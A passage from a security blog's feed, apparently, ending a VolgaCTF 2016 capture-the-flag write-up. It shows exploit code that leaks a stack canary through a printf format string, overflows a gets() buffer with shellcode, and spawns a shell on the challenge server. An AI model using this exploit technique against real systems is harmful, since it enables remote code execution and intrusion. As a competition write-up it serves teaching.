&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BAD&lt;&#x2F;span&gt;&lt;span&gt; loc_400BAD:                             ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DATA&lt;&#x2F;span&gt;&lt;span&gt; XREF: .rodata:0000000000401240
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BAD&lt;&#x2F;span&gt;&lt;span&gt;                 mov     eax, cs:nb_papers
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BB3&lt;&#x2F;span&gt;&lt;span&gt;                 cdqe
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BB5&lt;&#x2F;span&gt;&lt;span&gt;                 shl     rax, 6
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BB9&lt;&#x2F;span&gt;&lt;span&gt;                 mov     rdx, rax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BBC&lt;&#x2F;span&gt;&lt;span&gt;                 shl     rdx, 4
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BC0&lt;&#x2F;span&gt;&lt;span&gt;                 add     rax, rdx
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BC3&lt;&#x2F;span&gt;&lt;span&gt;                 add     rax, offset base_papers
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BC9&lt;&#x2F;span&gt;&lt;span&gt;                 mov     rdx, rax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BCC&lt;&#x2F;span&gt;&lt;span&gt;                 lea     rsi, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;rbp+paper&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BD3&lt;&#x2F;span&gt;&lt;span&gt;                 mov     eax, 88h
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BD8&lt;&#x2F;span&gt;&lt;span&gt;                 mov     rdi, rdx
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BDB&lt;&#x2F;span&gt;&lt;span&gt;                 mov     rcx, rax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BDE&lt;&#x2F;span&gt;&lt;span&gt;                 rep movsq               ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;memcpy&lt;&#x2F;span&gt;&lt;span&gt;(base_paper&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;, paper_stack)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BE1&lt;&#x2F;span&gt;&lt;span&gt;                 mov     eax, cs:nb_papers
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BE7&lt;&#x2F;span&gt;&lt;span&gt;                 add     eax, 1          ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;increments&lt;&#x2F;span&gt;&lt;span&gt; the number of paper
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BEA&lt;&#x2F;span&gt;&lt;span&gt;                 mov     cs:nb_papers, eax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0000000000400BF0&lt;&#x2F;span&gt;&lt;span&gt;                 jmp     short loc_400BF9
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One stricking thing is of course the massive use of &lt;code&gt;gets()&lt;&#x2F;code&gt; everywhere for user
input. So we think immediately to stack-based buffer overflow.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;view_paper()&lt;&#x2F;code&gt; function (at 0x400D52) receives a pointer to a paper and
displays its information using &lt;code&gt;printf()&lt;&#x2F;code&gt; - which makes us understand what
triggered the &lt;code&gt;gef&lt;&#x2F;code&gt; plugin for format string.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;f7hs6qZ.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;f7hs6qZ.png&quot;

    

    
    title=&quot;view-paper&quot;
    alt=&quot;view-paper&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;p&gt;The exploitation process will go something like this:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Use of the format string vulnerabilities to leak stack until we get the
canary using &lt;code&gt;printf()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Overflow one of the stack allocated buffer using &lt;code&gt;gets()&lt;&#x2F;code&gt;, correctly
insert the canary, and jump to our stack-based shellcode.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;So this lines up the following sequential steps:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Create a paper to allocate a 1096 byte stack buffer&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Adding a paper&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# add_paper
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Adding paper name&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# add_paper_name
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Paper name: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;+&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Using the abstract field of the paper to store our format string to leak
the canary, and the stack address (for returning to it).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Adding paper abstract&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# add_paper_abstract
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Paper abstract: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;%7$p.%163$p&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; + &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A stack address was found at &lt;code&gt;&quot;$7$p&quot;&lt;&#x2F;code&gt; and the canary at &lt;code&gt;&quot;%163$p&quot;&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;We need to view the paper to actually trigger the format string information
leak:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# view_paper_info
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Abstract:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n\t&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    paper_addr, canary = s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Tags:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n\t&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)[:-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;split&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    paper_addr = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(paper_addr, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    canary = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(canary, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Got addr: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % paper_addr)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Got canary: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % canary)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;And now, build our payload, overflow the buffer, insert the canary to get
good karma, and make the &lt;code&gt;ret&lt;&#x2F;code&gt; at 0x400C0E fall back to our controlled
buffer:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# add_paper_name
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Sending payload&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    payload = &amp;quot;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    payload+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x90&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x8
&lt;&#x2F;span&gt;&lt;span&gt;    payload+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SC
&lt;&#x2F;span&gt;&lt;span&gt;    payload+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x90&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1096&lt;&#x2F;span&gt;&lt;span&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(payload))
&lt;&#x2F;span&gt;&lt;span&gt;    payload+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;q_s&lt;&#x2F;span&gt;&lt;span&gt;(canary) + &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;JUNK&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;q_s&lt;&#x2F;span&gt;&lt;span&gt;(paper_addr)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Paper name: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(payload + &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# quit to trigger the ret
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And the execution gives:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&#x2F;ctf&#x2F;volgactf_2016&lt;&#x2F;span&gt;&lt;span&gt; $  .&#x2F;gef-exploit.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Connected to webofscience.2016.volgactf.ru:45678
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Passing checks
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Adding a paper
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Adding paper name
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Adding paper abstract
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Showing paper to leak the canary
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got addr: 0x7fffffffe6e0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got canary: 0x675049f6baf95300
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Sending payload
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got it, interacting (Ctrl-C to break)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Get a PTY with &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; python -c &amp;quot;import pty;pty.spawn(&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&#x2F;bin&#x2F;bash&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)&amp;quot;  &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;python -c &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;import pty;pty.spawn(&amp;#39;&#x2F;bin&#x2F;bash&amp;#39;)&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nobody@scweb1:&#x2F;opt$&lt;&#x2F;span&gt;&lt;span&gt; ls
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;flag_wos.txt&lt;&#x2F;span&gt;&lt;span&gt;  install  start_wos  web_of_science
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nobody@scweb1:&#x2F;opt$&lt;&#x2F;span&gt;&lt;span&gt; cat flag_wos.txt
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;VolgaCTF{executable_st@ck_doesnt_cause_@ny_problems_d0es_it&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;All done mate !&lt;&#x2F;p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h3&gt;
&lt;p&gt;Final word (or image):&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;PjfFC2f.jpg&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;PjfFC2f.jpg&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Full exploit is : &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;deae32e1da40e7b8c754&quot;&gt;gef-exploit.py&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A write-up for &lt;code&gt;web_of_science_2&lt;&#x2F;code&gt; might as well come soon, stay tuned…&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title> BCTF 2016 - Ruin</title>
        <published>2016-03-21T22:51:04+00:00</published>
        <updated>2016-03-21T22:51:04+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-03-22-bctf-16-ruin/"/>
        <id>https://blahcat.github.io/2016-03-22-bctf-16-ruin/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-03-22-bctf-16-ruin/">&lt;p&gt;This is an ARM 32b exploitation challenge part of the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ctftime.org&#x2F;ctf&#x2F;94&quot;&gt;BCTF&lt;&#x2F;a&gt; competition,
which I’ve enjoyed playing with the team TheGoonies. During the competition,
only 18 teams (out of the 500+) were able to solve it. All props to them!&lt;&#x2F;p&gt;
&lt;p&gt;The technique I used to solve it is a bit twisted but it works fine and
reliably. So hang on ☺&lt;&#x2F;p&gt;
&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  !file ruin.7b694dc96bf316a40ff7163479850f78
